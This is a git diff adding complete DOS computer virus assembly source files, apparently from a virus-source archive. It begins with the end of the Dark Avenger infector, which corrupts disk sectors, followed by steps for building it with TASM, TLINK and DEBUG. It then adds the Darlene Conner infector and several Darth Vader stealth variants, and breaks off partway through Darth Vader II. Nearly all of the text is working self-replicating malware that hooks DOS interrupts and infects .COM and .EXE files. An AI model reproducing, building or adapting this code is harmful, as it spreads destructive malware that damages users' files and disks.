;Fetch program's name + lodsw ;(with DOS 2.x it doesn't work +anyway) + dec si + test ax,ax + jnz scan_envir + add si,3 + lodsb + +; The following instruction is a complete nonsense. Try to enter a +drive & +; directory path in lowercase, then run an infected program from there. +; As a result of an error here + an error in DOS the next sector is not +; smashed. Two memory bytes are smashed instead, most probably onto the +; infected program. + + sub al,'A' + mov cx,1 + push cs + pop ds + add bx,offset int_27 + push ax + push bx + push cx + int 25h + pop ax + pop cx + pop bx + inc byte ptr [bx+0ah] + and byte ptr [bx+0ah],0fh ;It seems that 15 times doing + jnz store_sec ;nothing is not enough for some. + mov al,[bx+10h] + xor ah,ah + mul word ptr [bx+16h] + add ax,[bx+0eh] + push ax + mov ax,[bx+11h] + mov dx,32 + mul dx + div word ptr [bx+0bh] + pop dx + add dx,ax + mov ax,[bx+8] + add ax,40h + cmp ax,[bx+13h] + jc store_new + inc ax + and ax,3fh + add ax,dx + cmp ax,[bx+13h] + jnc small_disk +store_new: + mov [bx+8],ax +store_sec: + pop ax + xor dx,dx + push ax + push bx + push cx + int 26h + + +; The writing trough this interrupt is not the smartest thing, bacause +it +; can be intercepted (what Vesselin Bontchev has managed to notice). + + pop ax + pop cx + pop bx + pop ax + cmp byte ptr [bx+0ah],0 + jne not_now + mov dx,[bx+8] + pop bx + push bx + int 26h +small_disk: + pop ax +not_now: + pop si + xor ax,ax + mov ds,ax + mov ax,word ptr cs:[si+save_int_13] + mov ds:[13h*4],ax + mov ax,word ptr cs:[si+save_int_13+2] + mov ds:[13h*4+2],ax + pop ds + pop ax + cmp word ptr cs:[si+my_save],5a4dh + jne go_exit_com + jmp exit_exe +go_exit_com: + jmp exit_com +int_24: + mov al,3 ;This instruction seems +unnecessary + iret + +; INT 27h handler (this is necessary) + +int_27: + pushf + call alloc + popf + jmp dword ptr cs:[save_int_27] + +; During the DOS functions Set & Get Vector it seems that the virus has +not +; intercepted them (this is a doubtfull advantage and it is a possible +; source of errors with some "intelligent" programs) + +set_int_27: + mov word ptr cs:[save_int_27],dx + mov word ptr cs:[save_int_27+2],ds + popf + iret +set_int_21: + mov word ptr cs:[save_int_21],dx + mov word ptr cs:[save_int_21+2],ds + popf + iret +get_int_27: + les bx,dword ptr cs:[save_int_27] + popf + iret +get_int_21: + les bx,dword ptr cs:[save_int_21] + popf + iret + +exec: + + + call do_file + call alloc + popf + jmp dword ptr cs:[save_int_21] + + db 'Diana P.',0 + +; INT 21h handler. Infects files during execution, copying, browsing or +; creating and some other operations. The execution of functions 0 and +26h +; has bad consequences. + +int_21: + push bp + mov bp,sp + push [bp+6] + popf + pop bp + pushf + call ontop + cmp ax,2521h + je set_int_21 + cmp ax,2527h + je set_int_27 + cmp ax,3521h + je get_int_21 + cmp ax,3527h + je get_int_27 + cld + cmp ax,4b00h + je exec + cmp ah,3ch + je create + cmp ah,3eh + je close + cmp ah,5bh + jne not_create +create: + cmp word ptr cs:[filehndl],0;May be 0 if the file is open + jne dont_touch + call see_name + jnz dont_touch + call alloc + popf + call function + jc int_exit + pushf + push es + push cs + pop es + push si + push di + push cx + push ax + mov di,offset filehndl + stosw + mov si,dx + mov cx,65 +move_name: + lodsb + stosb + test al,al + jz all_ok + loop move_name + mov word ptr es:[filehndl],cx +all_ok: + pop ax + pop cx + pop di + pop si + pop es +go_exit: + popf + jnc int_exit ;JMP +close: + cmp bx,word ptr cs:[filehndl] + jne dont_touch + test bx,bx + jz dont_touch + call alloc + popf + call function + jc int_exit + pushf + push ds + push cs + pop ds + push dx + mov dx,offset filehndl+2 + call do_file + mov word ptr cs:[filehndl],0 + pop dx + pop ds + jmp go_exit +not_create: + cmp ah,3dh + je touch + cmp ah,43h + je touch + cmp ah,56h ;Unfortunately, the command +inter- + jne dont_touch ;preter does not use this +function +touch: + call see_name + jnz dont_touch + call do_file +dont_touch: + call alloc + popf + call function +int_exit: + pushf + push ds + call get_chain + mov byte ptr ds:[0],'Z' + pop ds + popf +dummy proc far ;??? + ret 2 +dummy endp + +; Checks whether the file is .COM or .EXE. +; It is not called upon file execution. + +see_name: + push ax + push si + mov si,dx +scan_name: + lodsb + test al,al + jz bad_name + cmp al,'.' + jnz scan_name + call get_byte + mov ah,al + call get_byte + cmp ax,'co' + jz pos_com + cmp ax,'ex' + jnz good_name + call get_byte + cmp al,'e' + jmp short good_name +pos_com: + call get_byte + cmp al,'m' + jmp short good_name +bad_name: + inc al +good_name: + pop si + pop ax + ret + +; Converts into lowercase (the subroutines are a great thing). + +get_byte: + lodsb + cmp al,'C' + jc byte_got + cmp al,'Y' + jnc byte_got + add al,20h +byte_got: + ret + +; Calls the original INT 21h. + +function: + pushf + call dword ptr cs:[save_int_21] + ret + +; Arrange to infect an executable file. + +do_file: + push ds ;Save the registers in stack + push es + push si + push di + push ax + push bx + push cx + push dx + mov si,ds + xor ax,ax + mov ds,ax + les ax,ds:[24h*4] ;Saves INT 13h and INT 24h in +stack + push es ;and changes them with what is +needed + push ax + mov ds:[24h*4],offset int_24 + mov ds:[24h*4+2],cs + les ax,ds:[13h*4] + mov word ptr cs:[save_int_13],ax + mov word ptr cs:[save_int_13+2],es + mov ds:[13h*4],offset int_13 + mov ds:[13h*4+2],cs + push es + push ax + mov ds,si + xor cx,cx ;Arranges to infect Read-only +files + mov ax,4300h + call function + mov bx,cx + and cl,0feh + cmp cl,bl + je dont_change + mov ax,4301h + call function + stc +dont_change: + pushf + push ds + push dx + push bx + mov ax,3d02h ;Now we can safely open the file + call function + jc cant_open + mov bx,ax + call disease + mov ah,3eh ;Close it + + call function +cant_open: + pop cx + pop dx + pop ds + popf + jnc no_update + mov ax,4301h ;Restores file's attributes + call function ;if they were changed (just in +case) +no_update: + xor ax,ax ;Restores INT 13h and INT 24h + mov ds,ax + pop ds:[13h*4] + pop ds:[13h*4+2] + pop ds:[24h*4] + pop ds:[24h*4+2] + pop dx ;Register restoration + pop cx + pop bx + pop ax + pop di + pop si + pop es + pop ds + ret + +; This routine is the working horse. + +disease: + push cs + pop ds + push cs + pop es + mov dx,offset top_save ;Read the file beginning + mov cx,18h + mov ah,3fh + int 21h + xor cx,cx + xor dx,dx + mov ax,4202h ;Save file length + int 21h + mov word ptr [top_save+1ah],dx + cmp ax,offset my_size ;This should be top_file + sbb dx,0 + jc stop_fuck_2 ;Small files are not infected + mov word ptr [top_save+18h],ax + cmp word ptr [top_save],5a4dh + jne com_file + mov ax,word ptr [top_save+8] + add ax,word ptr [top_save+16h] + call mul_16 + add ax,word ptr [top_save+14h] + adc dx,0 + mov cx,dx + mov dx,ax + jmp short see_sick +com_file: + cmp byte ptr [top_save],0e9h + jne see_fuck + mov dx,word ptr [top_save+1] + add dx,103h + jc see_fuck + dec dh + xor cx,cx + +; Check if the file is properly infected + + +see_sick: + sub dx,startup-copyright + sbb cx,0 + mov ax,4200h + int 21h + add ax,offset top_file + adc dx,0 + cmp ax,word ptr [top_save+18h] + jne see_fuck + cmp dx,word ptr [top_save+1ah] + jne see_fuck + mov dx,offset top_save+1ch + mov si,dx + mov cx,offset my_size + mov ah,3fh + int 21h + jc see_fuck + cmp cx,ax + jne see_fuck + xor di,di +next_byte: + + lodsb + scasb + jne see_fuck + loop next_byte +stop_fuck_2: + ret +see_fuck: + xor cx,cx ;Seek to the end of file + xor dx,dx + mov ax,4202h + int 21h + cmp word ptr [top_save],5a4dh + je fuck_exe + add ax,offset aux_size+200h ;Watch out for too big .COM +files + adc dx,0 + je fuck_it + ret + +; Pad .EXE files to paragraph boundary. This is absolutely unnecessary. + +fuck_exe: + mov dx,word ptr [top_save+18h] + neg dl + and dx,0fh + xor cx,cx + mov ax,4201h + int 21h + mov word ptr [top_save+18h],ax + mov word ptr [top_save+1ah],dx +fuck_it: + mov ax,5700h ;Get file's date + int 21h + pushf + push cx + push dx + cmp word ptr [top_save],5a4dh + je exe_file ;Very clever, isn't it? + mov ax,100h + jmp short set_adr +exe_file: + mov ax,word ptr [top_save+14h] + mov dx,word ptr [top_save+16h] +set_adr: + mov di,offset call_adr + stosw + mov ax,dx + stosw + mov ax,word ptr [top_save+10h] + stosw + mov ax,word ptr [top_save+0eh] + stosw + mov si,offset top_save ;This offers the possibilities +to + movsb ;some nasty programs to restore + movsw ;exactly the original length + xor dx,dx ;of the .EXE files + mov cx,offset top_file + mov ah,40h + int 21h ;Write the virus + jc go_no_fuck ;(don't trace here) + xor cx,ax + jnz go_no_fuck + mov dx,cx + mov ax,4200h + int 21h + cmp word ptr [top_save],5a4dh + je do_exe + mov byte ptr [top_save],0e9h + mov ax,word ptr [top_save+18h] + add ax,startup-copyright-3 + mov word ptr [top_save+1],ax + mov cx,3 + jmp short write_header +go_no_fuck: + jmp short no_fuck + +; Construct the .EXE file's header + +do_exe: + call mul_hdr + not ax + not dx + inc ax + jne calc_offs + inc dx +calc_offs: + add ax,word ptr [top_save+18h] + adc dx,word ptr [top_save+1ah] + mov cx,10h + div cx + mov word ptr [top_save+14h],startup-copyright + mov word ptr [top_save+16h],ax + add ax,(offset top_file-offset copyright-1)/16+1 + mov word ptr [top_save+0eh],ax + mov word ptr [top_save+10h],100h + add word ptr [top_save+18h],offset top_file + adc word ptr [top_save+1ah],0 + mov ax,word ptr [top_save+18h] + and ax,1ffh + mov word ptr [top_save+2],ax + pushf + mov ax,word ptr [top_save+19h] + shr byte ptr [top_save+1bh],1 + rcr ax,1 + popf + jz update_len + inc ax +update_len: + mov word ptr [top_save+4],ax + mov cx,18h +write_header: + mov dx,offset top_save + mov ah,40h + int 21h ;Write the file beginning +no_fuck: + pop dx + pop cx + popf + jc stop_fuck + mov ax,5701h ;Restore the original file date + int 21h +stop_fuck: + ret + +; The following is used by the INT 21h and INT 27h handlers in +connection +; to the program hiding in memory from those who don't need to see it. +; The whole system is absurde and meaningless and it is also another +source +; for program conflicts. + +alloc: + push ds + call get_chain + mov byte ptr ds:[0],'M' + pop ds + +; Assures that the program is the first one in the processes, +; which have intercepted INT 21h (yet another source of conflicts). + +ontop: + push ds + push ax + push bx + push dx + xor bx,bx + mov ds,bx + lds dx,ds:[21h*4] + cmp dx,offset int_21 + jne search_segment + mov ax,ds + mov bx,cs + cmp ax,bx + je test_complete + +; Searches the segment of the sucker who has intercepted INT 21h, in +; order to find where it has stored the old values and to replace them. +; Nothing is done for INT 27h. + + xor bx,bx +search_segment: + mov ax,[bx] + cmp ax,offset int_21 + jne search_next + mov ax,cs + cmp ax,[bx+2] + je got_him +search_next: + inc bx + jne search_segment + je return_control +got_him: + mov ax,word ptr cs:[save_int_21] + mov [bx],ax + mov ax,word ptr cs:[save_int_21+2] + mov [bx+2],ax + mov word ptr cs:[save_int_21],dx + mov word ptr cs:[save_int_21+2],ds + xor bx,bx + +; Even if he has not saved them in the same segment, this won't help +him. + +return_control: + mov ds,bx + mov ds:[21h*4],offset int_21 + mov ds:[21h*4+2],cs +test_complete: + pop dx + pop bx + pop ax + pop ds + ret + +; Fetch the segment of the last MCB + +get_chain: + push ax + push bx + mov ah,62h + call function + mov ax,cs + dec ax + dec bx +next_blk: + mov ds,bx + stc + adc bx,ds:[3] + cmp bx,ax + jc next_blk + pop bx + pop ax + ret + +; Multiply by 16 + +mul_hdr: + mov ax,word ptr [top_save+8] +mul_16: + mov dx,10h + mul dx + ret + + db 'This program was written in the city of Sofia ' + db '(C) 1988-89 Dark Avenger',0 + +; INT 13h handler. +; Calls the original vectors in BIOS, if it's a writing call + +int_13: + cmp ah,3 + jnz subfn_ok + cmp dl,80h + jnc hdisk + db 0eah ;JMP XXXX:YYYY +my_size: ;--- Up to here comparison +disk: ; with the original is made + dd 0 +hdisk: + db 0eah ;JMP XXXX:YYYY +fdisk: + dd 0 +subfn_ok: + db 0eah ;JMP XXXX:YYYY +save_int_13: + dd 0 +call_adr: + dd 100h + +stack_pointer: + dd 0 ;The original value of SS:SP +my_save: + int 20h ;The original contents of the +first + nop ;3 bytes of the file +top_file: ;--- Up to here the code is +written +filehndl equ $ ; in the files +filename equ filehndl+2 ;Buffer for the name of the +opened file +save_int_27 equ filename+65 ;Original INT 27h vector +save_int_21 equ save_int_27+4 ;Original INT 21h vector +aux_size equ save_int_21+4 ;--- Up to here is moved into +memory +top_save equ save_int_21+4 ;Beginning of the buffer, which + ;contains + ; - The first 24 bytes read from +file + ; - File length (4 bytes) + ; - The last bytes of the file + ; (my_size bytes) +top_bz equ top_save-copyright +my_bz equ my_size-copyright + +code ends + end + +------------------------------------------------------------------------ +------ + + A few notes on assembling this virus. + + It's a little bit tricky assembling the Dark Avenger Virus. Use + these steps below. I use Turbo Assembler 2.0, but I'm positve that + MASM will work just as well. + + 1: + TASM AVENGER.ASM + + 2: + TLINK AVENGER.OBJ + + 3: + EXE2BIN AVENGER AVENGER.COM + + Now make a 3 byte file named JUMP.TMP using DEBUG like this + + 4: DEBUG + + n jmp.tmp + e 0100 E9 68 00 + + rcx + 3 + w + q + + 5: Now do this COPY JMP.TMP + AVENGER.COM DAVENGER.COM + + There you have it.... + + + diff --git a/d/DARLENE.ASM b/d/DARLENE.ASM new file mode 100755 index 0000000..561e212 --- /dev/null +++ b/d/DARLENE.ASM @@ -0,0 +1,317 @@ +; Darlene Conner written by MuTaTiON INTERRUPT +; To compile this use TASM /M darlene.asm + + +code segment public 'code' + assume cs:code + org 100h ; All .COM files start here + +ID = 'AB' ; Id for infected files + +start: + db 0e9h,0,0 ; Jump to the next command + +virus: + call realcode ; Push current location on stack +realcode: + nop + nop + pop bp ; Get location off stack + sub bp,offset realcode ; Adjust it for our pointer + nop + nop + cmp sp,id ; COM or EXE? + je restoreEXE + + lea si,[bp+offset oldjump] ; Location of old jump in si + mov di,100h ; Location of where to put it in di + push di ; Save so we could just return when done + movsb ; Move a byte + movsw ; Move a word + jmp exitrestore + +restoreEXE: + push ds ; Save ExE ds + push es ; Save ExE es + push cs + pop ds ; DS now equals CS + push cs + pop es ; ES now equals CS + lea si,[bp+jmpsave2] + lea di,[bp+jmpsave] + movsw ; Move a word + movsw ; Move a word + movsw ; Move a word + movsw ; Move a word + +ExitRestore: + lea dx,[bp+offset dta] ; Where to put New DTA + call set_DTA ; Move it + + mov ax,3524h ; Get int 24 handler + int 21h ; To ES:BX + mov word ptr [bp+oldint24],bx ; Save it + mov word ptr [bp+oldint24+2],es + + mov ah,25h ; Set new int 24 handler + lea dx,[bp+offset int24] ; DS:DX->new handler + int 21h + + push cs ; Restore ES + pop es ; 'cuz it was changed + + mov ah,47h ; Get the current directory + mov dl,0h ; On current drive + lea si,[bp+offset currentdir] ; Where to keep it + int 21h + +dirloop: + lea dx,[bp+offset exefilespec] + call findfirst + lea dx,[bp+offset comfilespec] + call findfirst + + lea dx,[bp+offset directory] ; Where to change too '..' + mov ah,3bh ; Change directory + int 21h + jnc dirloop ; If no problems the look for files + + mov ah,9 ; Display string + lea dx,[bp+virusname] + int 21h + + mov ax,2524h ; Restore int 24 handler + lds dx,[bp+offset oldint24] ; To original + int 21h + + push cs + pop ds ; Do this because the DS gets changed + + lea dx,[bp+offset currentdir] ; Location Of original dir + mov ah,3bh ; Change to there + int 21h + + mov dx,80h ; Location of original DTA + call set_dta ; Put it back there + + cmp sp,id-4 ; EXE or COM? + jz returnEXE + + retn ; Return to 100h to original jump + +ReturnEXE: + pop es ; Get original ES + pop ds ; Get original DS + + mov ax,es + add ax,10h + add word ptr cs:[bp+jmpsave+2],ax + add ax,word ptr cs:[bp+stacksave+2] + cli ; Clear int's because of stack manipulation + mov sp,word ptr cs:[bp+stacksave] + mov ss,ax + sti + db 0eah ; Jump ssss:oooo +jmpsave dd ? ; Jump location +stacksave dd ? ; Original cs:ip +jmpsave2 dd 0fff00000h ; Used with carrier file +stacksave2 dd ? + +findfirst: + mov ah,4eh ; Find first file + mov cx,7 ; Find all attributes + +findnext: + int 21h ; Find first/next file int + jc quit ; If none found then change dir + + call infection ; Infect that file + +Findnext2: + mov ah,4fh ; Find next file + jmp findnext ; Jump to the loop + +quit: + ret + +infection: + mov ax,3d00h ; Open file for read only + call open + + mov ah,3fh ; Read from file + mov cx,1ah + lea dx,[bp+offset buffer] ; Location to store them + int 21h + + mov ah,3eh ; Close file + int 21h + + cmp word ptr [bp+buffer],'ZM' ; EXE? + jz checkEXE ; Why yes, yes it is! + mov ax,word ptr [bp+DTA+35] ; Get end of file name in ax + cmp ax,'DN' ; Does End in comma'ND'? (reverse order) + jz quitinfect ; Yup so get another file + +CheckCom: + mov bx,[bp+offset dta+1ah] ; Get file size + mov cx,word ptr [bp+buffer+1] ; Get jump loc of file + add cx,eof-virus+3 ; Add for virus size + + cmp bx,cx ; Does file size=file jump+virus size + jz quitinfect ; Yup then get another file + jmp infectcom + +CheckExe: + cmp word ptr [bp+buffer+10h],id ; Check EXE for infection + jz quitinfect ; Already infected so close up + jmp infectexe + +quitinfect: + ret + +InfectCom: + sub bx,3 ; Adjust for new jump + lea si,[bp+buffer] + lea di,[bp+oldjump] + movsw + movsb + mov [bp+buffer],byte ptr 0e9h + mov word ptr [bp+buffer+1],bx ; Save for later + + mov cx,3 ; Number of bytes to write + + jmp finishinfection +InfectExe: + les ax,dword ptr [bp+buffer+14h] ; Load es with seg address + mov word ptr [bp+jmpsave2],ax ; save old cs:ip + mov word ptr [bp+jmpsave2+2],es + + les ax,dword ptr [bp+buffer+0eh] ; save old ss:sp + mov word ptr [bp+stacksave2],es ; save old cs:ip + mov word ptr [bp+stacksave2+2],ax + + mov ax, word ptr [bp+buffer+8] ; get header size + mov cl,4 + shl ax,cl + xchg ax,bx + les ax,[bp+offset DTA+26] ; get files size from dta + mov dx,es ; its now in dx:ax + push ax ; save these + push dx + + sub ax,bx ; subtract header size from fsize + sbb dx,0 ; subtract the carry too + mov cx,10h ; convert to segment:offset form + div cx + + mov word ptr [bp+buffer+14h],dx ; put in new header + mov word ptr [bp+buffer+16h],ax ; cs:ip + + mov word ptr [bp+buffer+0eh],ax ; ss:sp + mov word ptr [bp+buffer+10h],id ; put id in for later + pop dx ; get the file length back + pop ax + + add ax,eof-virus ; add virus size + adc dx,0 ; add with carry + + mov cl,9 ; calculates new file size + push ax + shr ax,cl + ror dx,cl + stc + adc dx,ax + pop ax + and ah,1 + + mov word ptr [bp+buffer+4],dx ; save new file size in header + mov word ptr [bp+buffer+2],ax + + push cs ; es = cs + pop es + + mov cx,1ah ; Number of bytes to write (Header) +FinishInfection: + push cx ; save # of bytes to write + xor cx,cx ; Set attriutes to none + call attributes + + mov al,2 ; open file read/write + call open + + mov ah,40h ; Write to file + lea dx,[bp+buffer] ; Location of bytes + pop cx ; Get number of bytes to write + int 21h + jc closefile + + mov al,02 ; Move Fpointer to eof + Call move_fp + + mov ah,40h ; Write virus to file + mov cx,eof-virus ; Size of virus + lea dx,[bp+offset virus] ; Location to start from + int 21h + +closefile: + mov ax,5701h ; Set files date/time back + mov cx,word ptr [bp+dta+16h] ; Get old time from dta + mov dx,word ptr [bp+dta+18h] ; Get old date + int 21h + + mov ah,3eh ; Close file + int 21h + + xor cx,cx + mov cl,byte ptr [bp+dta+15h] ; Get old Attributes + call attributes + + retn + +move_fp: + mov ah,42h ; Move file pointer + xor cx,cx ; Al has location + xor dx,dx ; Clear these + int 21h + retn + +set_dta: + mov ah,1ah ; Move the DTA location + int 21h + retn + +open: + mov ah,3dh ; open file + lea dx,[bp+DTA+30] ; filename in DTA + int 21h + xchg ax,bx ; file handle in bx + ret + +attributes: + mov ax,4301h ; Set attributes to cx + lea dx,[bp+DTA+30] ; filename in DTA + int 21h + ret +int24: ; New int 24h (error) handler + mov al,3 ; Fail call + iret ; Return from int 24 call + +Virusname db 'Darlene Conner - Basketball Anyone?',10,13 ; Name Of The Virus +Author db 'MuTaTiON INTERRUPT',10,13 ; Author Of This Virus +Made_with db '[NOVEMBER 1994]',10,13,'$' ; Please do not remove this + +comfilespec db '*.com',0 ; Holds type of file to look for +exefilespec db '*.exe',0 ; Holds type of file to look for +directory db '..',0 ; Directory to change to +oldjump db 0cdh,020h,0h ; Old jump. Is int 20h for file quit + +eof equ $ ; Marks the end of file + +currentdir db 64 dup (?) ; Holds the current dir +dta db 42 dup (?) ; Location of new DTA +buffer db 1ah dup (?) ; Holds exe header +oldint24 dd ? ; Storage for old int 24h handler + +code ends + end start + diff --git a/d/DARTH.ASM b/d/DARTH.ASM new file mode 100755 index 0000000..692614d --- /dev/null +++ b/d/DARTH.ASM @@ -0,0 +1,151 @@ +;****************************************************************************** +;* * +;* D A R T H V A D E R IV * +;* * +;* (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia * +;* All Rights Reserved * +;* * +;* Enchanced by: Lazy Wizard * +;* * +;* Turbo Assembler 2.0 * +;* * +;****************************************************************************** + + + + .model tiny + .code + + org 100h + +Start: + call NextLine +First3: + int 20h + int 3 +NextLine: + pop bx + push ax + xor di,di + mov es,di + mov es,es:[2Bh*4+2] + mov cx,1000h + call SearchZero + jc ReturnControl + xchg ax,si + inc si +SearchTable: + dec si + db 26h + lodsw + cmp ax,8B2Eh + jne SearchTable + db 26h + lodsb + cmp al,75h + je ReturnControl + cmp al,9Fh + jne SearchTable + mov si,es:[si] + mov cx,LastByte-Start + lea ax,[di+Handle-Start] + org $-1 + xchg ax,es:[si+80h] + sub ax,di + sub ax,cx + mov [bx+OldWrite-Start-2],ax + mov word ptr [bx+NewStart+1-Start-3],di + lea si,[bx-3] + rep movsb +ReturnControl: + pop ax + push ss + pop es + mov di,100h + lea si,[bx+First3-Start-3] + push di + movsw + movsb + ret +SearchZero: + xor ax,ax + inc di + push cx + push di + mov cx,(LastByte-Start-1)/2+1 + repe scasw + pop di + pop cx + je FoundPlace + loop SearchZero + stc +FoundPlace: + ret +Handle: + push bp + call NextHandle +NextHandle: + pop bp + push es + push ax + push bx + push cx + push si + push di + test ch,ch + je Do + mov ax,1220h + int 2Fh + mov bl,es:[di] + mov ax,1216h + int 2Fh + cmp es:[di+29h],'MO' + jne Do + cmp word ptr es:[di+15h],0 + jne Do + push ds + pop es + mov di,dx + mov ax,[di] + mov [bp+First3-NextHandle],ax + mov al,[di+2] + mov [bp+First3+2-NextHandle],al + call SearchZero + jc Do + push di +NewStart: + mov si,0 + mov cx,(LastByte-Start-1)/2 + cli + rep + db 36h + movsw + sti + mov di,dx + mov al,0E9h + stosb + pop ax + sub ax,di + dec ax + dec ax + stosw +Do: + pop di + pop si + pop cx + pop bx + pop ax + pop es + pop bp +OldWrite: + jmp start + +LastByte label byte + + end Start + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; + diff --git a/d/DARTH1.ASM b/d/DARTH1.ASM new file mode 100755 index 0000000..234cb86 --- /dev/null +++ b/d/DARTH1.ASM @@ -0,0 +1,164 @@ +;******************************************************************************* +;* * +;* D A R T H V A D E R - stealth virus * +;* * +;* (C) - Copyright 1991 by Waleri Todorov, CICTT * +;* All Rights Reserved * +;* * +;* Virus infect ANY com file exept COMMAND.COM. He use iternal DOS * +;* dispatcher for int21 functions, so it cannot be stoped by programs * +;* like ANTI4US etc... He also cannot be stoped by disk lock utilities * +;* because the virus use WRITE function (40h) of DOS' int21. * +;* Always when you copy COM file with DOS' 'copy' command or PCTools * +;* class programm, you will receive infected (destroyed) copy of file * +;* Infected file won't work, but the virus WILL * +;* * +;* Waleri Todorov * +;* * +;******************************************************************************* + nop ; Dummy NOPs. Required + nop + + mov ah,30h ; Get DOS version + int 21h + cmp al,5 ; If DOS is NOT 5.X + jb OkDOS ; Continue +Exit ; else terminate + int 20h +OkDos + mov ax,1203h ; Get DOS segment + int 2fh ; Via interrupt 2F (undocumented) + + mov si,9000h ; Set ES to 9000 + mov es,si ; Usualy this area is fill with zeros + xor si,si ; SI=0 +Next + inc si ; Next byte + cmp si,0F00h ; If SI==0xF00 + ja Exit ; Then no place found and exit to DOS + push si ; else Save SI in stack + xor di,di ; ES:DI == 9000:0000 + mov cx,offset lastbyte-100h ; Will check virus size + repe cmpsb ; Check until equal + jcxz Found ; if CX==0 then place is found + pop si ; else restore SI from stack + jmp short Next ; and go search next byte +Found + pop di ; Restore saved SI to DI + mov cs:MyPlace,di ; Save new offset in DOS segment + mov [2],di ; at DOSSEG:0002 + mov si,100h ; SI will point beginning in file + push ds ; Save DS + push ds ; Set ES equal to DS + pop es ; + push cs ; Set DS=CS + pop ds ; + mov cx,offset LastByte-100h ; Will move virus size only + rep movsb ; Do move + pop ds ; Restore DS (point to DOSSEG) + + push si ; From this place will search DOS table +NextTable + pop si ; + inc si ; Next byte + jz Exit ; If segment end then exit + push si ; Save SI + lodsw ; Load AX from DS:SI + xchg ax,bx ; Put AX in BX + lodsb ; and load AL from DS:SI + cmp bx,8B2Eh ; Check for special bytes + jne NextTable ; in AL and BX + cmp al,9Fh + jne NextTable ; If not match -> search next byte +FoundTable + lodsw ; Else load table address to AX + + xchg ax,bx ; Put table address to BX + mov si,[bx+80h] ; Load current offset of 40h function + mov di,offset Handle ; Put its offset to DI + mov cx,5 ; Will check 5 bytes only + push cs ; ES:DI point handling of 40 in file + pop es + repe cmpsb ; Check if DS:SI match to ES:DI + jcxz Exit ; If match -> virus is here -> Exit + mov ax,[bx+80h] ; else load offset of function 40 + mov [4],ax ; And save it to DOSSEG:0004 + mov ax,offset Handle-100h ; Load absolute address of + add ax,cs:MyPlace ; new handler and adjust its location + mov [bx+80h],ax ; Store new address in DOS table + + int 20h ; Now virus is load and active + +Handle ; Handle function 40h of int 21 + push ax ; Save important registers + push bx + push cx + push ds + push es + push si + push di + + cmp cx,270d ; Check if write less than virus size + jb Do ; If so -> write with no infection + + mov cs:[0C00h],ds ; Save buffer segment in DOSSEG:0C00 + mov cs:[0C02h],dx ; Save buffer offset in DOSSEG:0C02 + + mov ax,1220h ; Get number of File Handle table + int 2fh ; Via int 2F (undocumented) + mov bl,es:[di] ; Load number to BL + mov ax,1216h ; Get File Handle table address + int 2fh ; Via int 2F (undocumented) + + push di ; Save table offset + add di,20h ; Now offset point to NAME of file + + push cs ; DS now will point in virus + pop ds + + mov si,offset Command-100h ; Address of string COMM + add si,cs:[2] ; Adjust for different offset in DOS + mov cx,4 ; Check 4 bytes + repe cmpsb ; Do check until equal + pop di ; Restore address of table + jcxz Do ; If match -> file is COMMand.XXX + + add di,28h ; Else DI point to EXTENSION of file + mov si,offset Com-100h ; Address of string COM + add si,cs:[2] ; Adjust for different offset in DOS + mov cx,3 ; Check 3 bytes + repe cmpsb ; Do check until equal + jne Do ; If NOT *.COM file -> write normal + + mov di,cs:[0C02h] ; Else restore data buffer from + mov es,cs:[0C00h] ; DOSSEG:0C00 & DOSSEG:0C02 + mov si,cs:[2] ; Get virus start offset + mov cx,offset LastByte-100 ; Will move virus only + rep movsb ; Move its code in data to write + +; Now virus is placed in data buffer of COPY command or PCTools etc... +; When they write to COM file they write virus either + +Do + pop di ; Restore importatnt registers + pop si + pop es + pop ds + pop cx + pop bx + pop ax + + db 36h,0FFh,16h,4,0 ; CALL SS:[4] (call original 40) + ret ; Return to caller (usualy DOS) + +Command db 'COMM' ; String for check COMMand.XXX +Com db 'COM' ; String for check *.COM + + db 'Darth Vader' ; Signature + + +LastByte nop ; Mark to calculate virus size + +MyPlace + dw 0 ; Temporary variable. Not writed + \ No newline at end of file diff --git a/d/DARTH2.ASM b/d/DARTH2.ASM new file mode 100755 index 0000000..90366c7 --- /dev/null +++ b/d/DARTH2.ASM @@ -0,0 +1,227 @@ +;******************************************************************************* +;* * +;* D A R T H V A D E R ][ * +;* * +;* (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia * +;* All Rights Reserved * +;* * +;* This is the second release of Darth Vader virus. Now he infect only * +;* those COM file, wich have area of 345 (or more) zeros. Virus put * +;* himself in this area and make jump to its code. As before, he can't * +;* be stoped by ANTI4US or disk write utilities - DOS function 40h * +;* (WRITE to File/Device). The virus operate in memory only, so there is * +;* no slowing in operations. This release of virus support DOS versions * +;* from 2.X till 4.X. * +;* You may make any modifications in this source, BUT let me know * +;* what have you done (drop message at Virus eXchange BBS) * +;* Waleri Todorov * +;******************************************************************************* + + + org 0 ; Virus start offset is 0 + + call NextLine ; Call next instruction +NextLine + pop si ; and calculate its present location + sub si,3 + + mov [0f0h],si ; Save own location in PSP + mov [0FEh],ax ; Save AX in PSP (Important for DOS + ; external commands) + xor ax,ax ; Make DS point in interrupts vectors + mov ds,ax ; + mov es,[2Bh*4+2] ; Load ES with DOS segment from int2B + mov ax,9000h ; DS will point at 9000h + mov ds,ax ; usualy there are zeros + xor di,di ; ES:DI point first byte in DOS segment + +NextZero + inc di ; Next byte + cmp di,0F00h ; If more than F00 bytes checked + ja ReturnControl ; then suppose no room and exit + push di ; else save tested offset + xor si,si ; DS:SI == 9000:0000 (zeros area) + mov cx,offset LastByte ; Size of virus + repe cmpsb ; Compare until equal + pop di ; Restore tested area offset + jcxz Found ; If tested area is fill with zeros-> + jmp short NextZero ; else check next +Found ; <- Will install himself in this area + mov si,cs:[0F0h] ; Get own start address (maybe diff.) + mov cs:[0F2h],di ; Save offset in DOS segment + push cs ; Set DS point to virus segment + pop ds ; + mov cx,offset LastByte ; Size of virus + rep movsb ; Move itself in DOSSEG + push es ; Set DS point to DOSSEG + pop ds + + mov si,di ; From this offset (after virus) +NextCall ; Will search DOS dispatcher + inc si ; Next byte + jz ReturnControl ; If segment overrun -> Return control + push si ; Save tested area offset + lodsw ; Load word from DS:SI + xchg ax,bx ; and put readed value in BX + lodsb ; Load byte from DS:SI + cmp bx,0FF36h ; Check 'magic' bytes + je CheclAl ; If first word match -> check last +AgainCall + pop si ; else restore offset + jmp short NextCall ; and go search next byte +CheclAl + cmp al,16h ; Check last 'magic' byte + jne AgainCall ; If not match go search next byte + + pop si ; Else restore founded offset + push si ; and save it for further 